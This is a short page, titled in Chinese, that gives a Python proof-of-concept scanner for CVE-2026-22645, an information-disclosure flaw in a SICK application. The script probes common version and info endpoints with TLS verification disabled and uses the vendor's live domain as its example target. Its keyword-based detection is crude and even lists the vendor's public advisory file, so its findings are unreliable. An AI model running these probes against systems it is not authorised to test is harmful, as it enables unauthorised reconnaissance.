CVE-2026-22645: 应用组件版本信息泄露漏洞

import requests import json # CVE-2026-22645 PoC - Component Information Disclosure # Target: SICK application disclosing component versions def check_cve_2026_22645(target_url): """ Check if the target is vulnerable to CVE-2026-22645 This PoC attempts to access component information endpoints """ # Common endpoints that may disclose component information endpoints = [ '/api/components', '/api/dependencies', '/info', '/actuator/info', '/api/v1/info', '/version', '/api/version', '/.well-known/csaf/white/2026/sca-2026-0002.json' ] vulnerable = False results = [] for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: # Check for component version information content = response.text.lower() if any(keyword in content for keyword in ['version', 'component', 'dependency', 'license', 'library']): vulnerable = True results.append({ 'endpoint': endpoint, 'status': response.status_code, 'content_preview': response.text[:500] }) except requests.RequestException as e: pass return { 'cve_id': 'CVE-2026-22645', 'vulnerable': vulnerable, 'findings': results, 'description': 'Application discloses component versions and license info' } if __name__ == '__main__': # Example usage target = 'https://www.sick.com' # Replace with actual target result = check_cve_2026_22645(target) print(json.dumps(result, indent=2))